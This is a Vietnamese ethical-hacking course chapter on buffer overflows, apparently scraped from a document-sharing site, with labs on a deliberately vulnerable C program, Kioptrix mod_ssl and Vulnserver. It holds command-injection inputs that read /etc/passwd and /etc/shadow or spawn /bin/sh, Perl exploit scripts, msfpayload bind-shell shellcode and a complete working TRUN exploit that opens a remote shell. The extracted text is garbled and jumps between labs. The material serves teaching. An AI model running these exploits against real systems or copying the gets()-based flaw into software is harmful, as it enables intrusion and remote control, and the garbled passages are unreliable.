Chuong 10 module buffer overflow

41 302 0
Chuong 10 module buffer overflow

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Athena Ethical Hacker Lab Buffer Overflow Module Single Buffer Overflow Kioptrix mod ssl Wireshark 1.4.4 Vulnserver Bài: Single Buffer Overflow Lab I Mục tiêu lab - Ta tạo đoạn code bị lỗi buffer overflow Sau truyền vào với liệu vào biến nhiều mức ta khai báo dẫn đến chương trình bị lỗi buffer overflow ta thực thi đoạn dòng lệnh - Q trình thực PC linux II Các bước thực Chuẩn bị source code chương trình biên dịch - Source code chương trình lưu lại thành file có tên dangerous_system_command.c #include main() { char *name; char *dangerours_system_command; name = (char *) malloc(10); dangerours_system_command = (char *)malloc(128); printf("Address of name is %d\n", name); printf("Address of command is %d\n", dangerours_system_command); sprintf(dangerours_system_command, "echo %s", "Hello world!"); printf("What's your name?"); gets(name); system(dangerours_system_command); } Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân - Biên dịch chương trình #gcc /dangerous_system_command.c -o dangerous_system_command Thực thi chương trình - Biến “name” tính tổng cộng 16 byte, bao gồm 10 byte ta gán, cộng thêm byte hệ thống - Khi ta nạp vào hệ thống ký tự có số lượng lớn 16 byte ta thực thi lệnh sau 16 byte - Ví dụ ta thực thi lệnh sau để kiểm tra 1234567890123456cat /etc/passwd 1234567890123456cat /etc/shadow 1234567890123456/bin/sh Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân Bài: Kioptrix level mod_ssl I Mục tiêu lab - Kioptrix hệ điều hành tạo với mục đích sử dụng để học cơng Kioptrix level có lỗi buffer overflow module SSL server web server Apache - Mơ hình lab Attacker Kioptrix Server Victim II Các bước thực - Scan nmap xác định host có đường mạng câu lệnh “nmap –sP 192.168.1.1/24” Ta xác định máy ta cần công IP 192.168.1.238 hình bên Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân - Tiếp tục ta thực q trình scan chi tiết thơng số IP 192.168.1.238 câu lệnh “nmap –sS –sV –O 192.168.1.238 ” - Ta thử scan lỗi ứng dụng web cơng cụ nikto có sẵn Backtrack với câu lệnh “./nikto.pl -host 192.168.1.238 -Display 124” Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân - Ta thu kết scan lỗi hình bên Và bước ta khai thác lỗi “+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân to a remote buffer overflow which may allow a remote shell (difficult to exploit) CVE-2002-0082, OSVDB-756.” - Ta tìm cách khai thác lỗi trang exploit-db.com Để tìm code khai thác, ta install thêm add on exploit-db search vào firefox Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân - Tiếp tục ta search từ khóa openssl exploit-db sử dụng code OpenFuck V2.c Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân - Tiếp tục ta vào trang shared code exploit Ta vào trực tiếp với đường link http://www.exploit-db.com/exploits/764/ - Cài đặt thêm gói “libssl-dev” để Backtrack có đầy đủ thư viện ssl dùng q trình biên dịch Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân - Ta biên dịch chương trình chương trình câu lệnh “gcc openfuck.c –o openfuck –lcrypto ” Tuy nhiên biên dịch chương trình bị lỗi ta thêm vào thư viện chương trình o Mở chương trình lên câu lệnh “vim openfuck.c” o Đi đến dòng 19, Copy, Paste lần o Thay đổi dòng sau #include #include Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân  Như khoảng 2000 – 3000 byte chương trình bị crash - Bước 2: Sau xác định ứng dụng bị lỗi stack overflow ta thực bước sau: o Tìm kiếm byte bên data gửi Nó sử dụng để overwrite return address Vì ta thiết lập EIP đến giá trị chọn o Tìm kiếm code mà ta muốn thực thi Ta sử dụng code có sẵn hệ thống thêm vào code Ở ta sử msfpayload kết hợp msfencode để tạo code Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân o Tìm kiếm cách điều khiển EIP để code hoạt động theo ý mong muốn Bởi giá trị EIP bị overwrite với giá trị lập trình trước Ta khơng thể đốn xác địa vùng nhớ mà code chương trình thực thi Ta thử tìm kiếm nhiều lần để xác định giá trị vùng nhớ Ta xác định xác bytes cách sử dụng chuỗi “A” để overwrite return address - Bước 3: Tìm kiếm địa overwrite Có nhiều cách để xác định số byte xác mà chương trình bị lỗi Ta sử dụng pattern_create.rb pattern_offset.rb có metasploit Pattern_create.rb sử dụng để sinh chuỗi từ theo A-Z, a-z, 0-9 với độ dài ta xác định Pattern_offset.rb sử dụng xác định chuyển đổi giá trị EIP thành số lượng byte mà chương trình bị crash Ta sử dụng Pattern_create.rb để tạo 3000 byte liệu Sau sử dụng chuỗi sinh hình làm data gửi đến chương trình Copy đoạn chuỗi vào perl script để gửi data Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân #!/usr/bin/perl use IO::Socket; if($ARGV[1] eq '') { die("Usage: $0 ipaddress port \n\n"); } $baddata="TRUN "; $baddata.="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4A b5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2 Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj 3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3 Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An 1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9 Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7A Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân q8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7A s8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7 Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5 Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay 4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3B a4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be 2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2 Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1B i2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk 4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm 4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1B o2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0 Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0 Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu 1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw 0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx 8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz 8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7 Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6C d7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6C f7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6 Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8C j9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9C m0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6C n7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5 Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4C r5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5C t6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5 Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3 Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3 Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2 Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0D Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân d1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8D e9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8 Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7D i8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk 8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6D m7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do 4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq 2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds 1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0D u1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv 9"; $socket=IO::Socket::INET->new( Proto=> "tcp", PeerAddr=>"$ARGV[0]", PeerPort=>"$ARGV[1]" )or die"Can not connect to $ARGV[0]:$ARGV[1]"; $socket->recv($serverdata,1024); print"$serverdata"; $socket->send($baddata); Ở máy XP sử dụng chương trình Ollydbg để mở chương trình vulnserver Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân Backtrack thực gửi 3000 byte liệu đến máy XP Sau tìm kiếm giá trị EIP chương trình bị crash ( bảng Register (FPU) )  Giá trị EIP 396F4338 Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân - Ta chuyển đổi xem ứng với giá trị EIP 396F4338 tương ứng với byte Sử dụng công cụ pattern_offset.rb để convert  EIP 396F4338 tương ứng 2006 bytes - Giả sử số 2006 byte số overwrite EIP, ta kiểm tra cách gửi 2006 ký tự chữ A, sau byte ký tự chữ B, lại ký tự chữ C Ta thực thi perl script sau #!/usr/bin/perl use IO::Socket; if($ARGV[1] eq '') { die("Usage: $0 ipaddress port \n\n"); } $baddata="TRUN "; $baddata.="A"x 2006; $baddata.="B"x 4; $baddata.="C"x (3000 - length($baddata)); $socket=IO::Socket::INET->new( Proto=> "tcp", PeerAddr=>"$ARGV[0]", Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân PeerPort=>"$ARGV[1]" )or die"Can not connect to $ARGV[0]:$ARGV[1]"; $socket->recv($serverdata,1024); print"$serverdata"; $socket->send($baddata); =>Như ta overwrite EIP với giá trị 42424242 - Bước 4: Xác định vị trị đặt mã độc Dựa kết hình ollydbg ta chèn vào chương trình hàng loạt ký tự C Đây vị trí để ta đặt code thực thi mã độc Ta sử dụng công cụ mspayload kết hợp msfencode để sinh code thay ký tự C mã độc root@bt ~# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -b \x00\x0A\x0D -t perl Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân \xba\x18\x31\x19\xb2\xdb\xda\xd9\x74\x24\xf4\x5b\x33\xc9" "\xb1\x56\x31\x53\x13\x83\xeb\xfc\x03\x53\x17\xd3\xec\x4e" "\xcf\x9a\x0f\xaf\x0f\xfd\x86\x4a\x3e\x2f\xfc\x1f\x12\xff" "\x76\x4d\x9e\x74\xda\x66\x15\xf8\xf3\x89\x9e\xb7\x25\xa7" "\x1f\x76\xea\x6b\xe3\x18\x96\x71\x37\xfb\xa7\xb9\x4a\xfa" "\xe0\xa4\xa4\xae\xb9\xa3\x16\x5f\xcd\xf6\xaa\x5e\x01\x7d" "\x92\x18\x24\x42\x66\x93\x27\x93\xd6\xa8\x60\x0b\x5d\xf6" "\x50\x2a\xb2\xe4\xad\x65\xbf\xdf\x46\x74\x69\x2e\xa6\x46" "\x55\xfd\x99\x66\x58\xff\xde\x41\x82\x8a\x14\xb2\x3f\x8d" "\xee\xc8\x9b\x18\xf3\x6b\x68\xba\xd7\x8a\xbd\x5d\x93\x81" "\x0a\x29\xfb\x85\x8d\xfe\x77\xb1\x06\x01\x58\x33\x5c\x26" "\x7c\x1f\x07\x47\x25\xc5\xe6\x78\x35\xa1\x57\xdd\x3d\x40" "\x8c\x67\x1c\x0d\x61\x5a\x9f\xcd\xed\xed\xec\xff\xb2\x45" "\x7b\x4c\x3b\x40\x7c\xb3\x16\x34\x12\x4a\x98\x45\x3a\x89" "\xcc\x15\x54\x38\x6c\xfe\xa4\xc5\xb9\x51\xf5\x69\x11\x12" "\xa5\xc9\xc1\xfa\xaf\xc5\x3e\x1a\xd0\x0f\x49\x1c\x1e\x6b" "\x1a\xcb\x63\x8b\x8d\xdc\xed\x6d\xc7\xf2\xbb\x26\x7f\x31" "\x98\xfe\x18\x4a\xca\x52\xb1\xdc\x42\xbd\x05\xe2\x52\xeb" "\x26\x4f\xfa\x7c\xbc\x83\x3f\x9c\xc3\x89\x17\xd7\xfc\x5a" "\xed\x89\x4f\xfa\xf2\x83\x27\x9f\x61\x48\xb7\xd6\x99\xc7" "\xe0\xbf\x6c\x1e\x64\x52\xd6\x88\x9a\xaf\x8e\xf3\x1e\x74" "\x73\xfd\x9f\xf9\xcf\xd9\x8f\xc7\xd0\x65\xfb\x97\x86\x33" Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân "\x55\x5e\x71\xf2\x0f\x08\x2e\x5c\xc7\xcd\x1c\x5f\x91\xd1" "\x48\x29\x7d\x63\x25\x6c\x82\x4c\xa1\x78\xfb\xb0\x51\x86" "\xd6\x70\x61\xcd\x7a\xd0\xea\x88\xef\x60\x77\x2b\xda\xa7" "\x8e\xa8\xee\x57\x75\xb0\x9b\x52\x31\x76\x70\x2f\x2a\x13" "\x76\x9c\x4b\x36 - Bước 5: Chuyển hướng chương trình thực thi mã độc Theo lý thuyết ta xác định xác địa stack, địa sử dụng để lưu trữ code thực thi mã độc, ta đơn giản overwrite EIP address để thực thi code Tuy nhiên Window việc không dễ dàng Ta sử dụng chương trình Ollydbg để hỗ trợ cho ta việc Các việc ta cần phải làm thay ký tự “C” mã độc Thay ký tự B ( sử dụng để overwrite EIP ) “JMP ESP” instruction Như CPU thực thi “JMP ESP” sử dụng để sau chuyển hướng thực thi mã độc “ JMP ESP ” lưu trữ nhớ kết nối vào ESP register Các bước tìm ESP register address Window XP, sử dụng Ollydbg mở vulnserver Tại máy Backtrack thực gửi lại 2006 Byte chữ A, Byte chữ B phần lại chữ C đến máy Window XP Ta có sau Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân Tiếp tục ta chọn View, chọn Execute Module Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân Double Click vào dòng có chữ essfunc.dll search “JMP ESP” Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân  Giá trị ESP 625011AF - Bước 6: Perl Script để khai thác lỗi chương trình.Thơng qua thơng số thu thập trên, ta có script khai thác: #!/usr/bin/perl use IO::Socket; if($ARGV[1] eq '') { die("Usage: $0 ipaddress port \n\n"); } $baddata="TRUN "; $baddata.="A"x 2006; Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân $baddata.=pack('V',0x625011AF); $baddata.="\x90" x 16; $baddata.="\xba\x18\x31\x19\xb2\xdb\xda\xd9\x74\x24\xf4\x5b\x33\x c9" "\xb1\x56\x31\x53\x13\x83\xeb\xfc\x03\x53\x17\xd3\xec\x4e" "\xcf\x9a\x0f\xaf\x0f\xfd\x86\x4a\x3e\x2f\xfc\x1f\x12\xff" "\x76\x4d\x9e\x74\xda\x66\x15\xf8\xf3\x89\x9e\xb7\x25\xa7" "\x1f\x76\xea\x6b\xe3\x18\x96\x71\x37\xfb\xa7\xb9\x4a\xfa" "\xe0\xa4\xa4\xae\xb9\xa3\x16\x5f\xcd\xf6\xaa\x5e\x01\x7d" "\x92\x18\x24\x42\x66\x93\x27\x93\xd6\xa8\x60\x0b\x5d\xf6" "\x50\x2a\xb2\xe4\xad\x65\xbf\xdf\x46\x74\x69\x2e\xa6\x46" "\x55\xfd\x99\x66\x58\xff\xde\x41\x82\x8a\x14\xb2\x3f\x8d" "\xee\xc8\x9b\x18\xf3\x6b\x68\xba\xd7\x8a\xbd\x5d\x93\x81" "\x0a\x29\xfb\x85\x8d\xfe\x77\xb1\x06\x01\x58\x33\x5c\x26" "\x7c\x1f\x07\x47\x25\xc5\xe6\x78\x35\xa1\x57\xdd\x3d\x40" "\x8c\x67\x1c\x0d\x61\x5a\x9f\xcd\xed\xed\xec\xff\xb2\x45" "\x7b\x4c\x3b\x40\x7c\xb3\x16\x34\x12\x4a\x98\x45\x3a\x89" "\xcc\x15\x54\x38\x6c\xfe\xa4\xc5\xb9\x51\xf5\x69\x11\x12" "\xa5\xc9\xc1\xfa\xaf\xc5\x3e\x1a\xd0\x0f\x49\x1c\x1e\x6b" "\x1a\xcb\x63\x8b\x8d\xdc\xed\x6d\xc7\xf2\xbb\x26\x7f\x31" "\x98\xfe\x18\x4a\xca\x52\xb1\xdc\x42\xbd\x05\xe2\x52\xeb" "\x26\x4f\xfa\x7c\xbc\x83\x3f\x9c\xc3\x89\x17\xd7\xfc\x5a" Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân "\xed\x89\x4f\xfa\xf2\x83\x27\x9f\x61\x48\xb7\xd6\x99\xc7" "\xe0\xbf\x6c\x1e\x64\x52\xd6\x88\x9a\xaf\x8e\xf3\x1e\x74" "\x73\xfd\x9f\xf9\xcf\xd9\x8f\xc7\xd0\x65\xfb\x97\x86\x33" "\x55\x5e\x71\xf2\x0f\x08\x2e\x5c\xc7\xcd\x1c\x5f\x91\xd1" "\x48\x29\x7d\x63\x25\x6c\x82\x4c\xa1\x78\xfb\xb0\x51\x86" "\xd6\x70\x61\xcd\x7a\xd0\xea\x88\xef\x60\x77\x2b\xda\xa7" "\x8e\xa8\xee\x57\x75\xb0\x9b\x52\x31\x76\x70\x2f\x2a\x13" "\x76\x9c\x4b\x36"; $socket=IO::Socket::INET->new( Proto=> "tcp", PeerAddr=>"$ARGV[0]", PeerPort=>"$ARGV[1]" )or die"Can not connect to $ARGV[0]:$ARGV[1]"; $socket->recv($serverdata,1024); print"$serverdata"; $socket->send($baddata); - Sau thực thi script máy victim mở port 4567 Ta telnet vào máy Window XP port 4567 Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân ...Bài: Single Buffer Overflow Lab I Mục tiêu lab - Ta tạo đoạn code bị lỗi buffer overflow Sau truyền vào với liệu vào biến nhiều mức ta khai báo dẫn đến chương trình bị lỗi buffer overflow ta... Tại ATHENA.GV: Lê Đình Nhân Bài: Buffer Overflow Wireshark 1.4.4 Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân I Mục tiêu lab - Tấn cơng buffer overflow chương trình wireshark với... lỗi buffer overflow Ta thực bước kiểm tra lỗi, xác định địa EIP, ESP, chèn shellcode để khai thác lỗi chương trình - Mơ hình lab: Các bước thực - Bước 1: Xác định chương trình bị lỗi buffer overflow

Ngày đăng: 20/11/2017, 09:18

Từ khóa liên quan

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan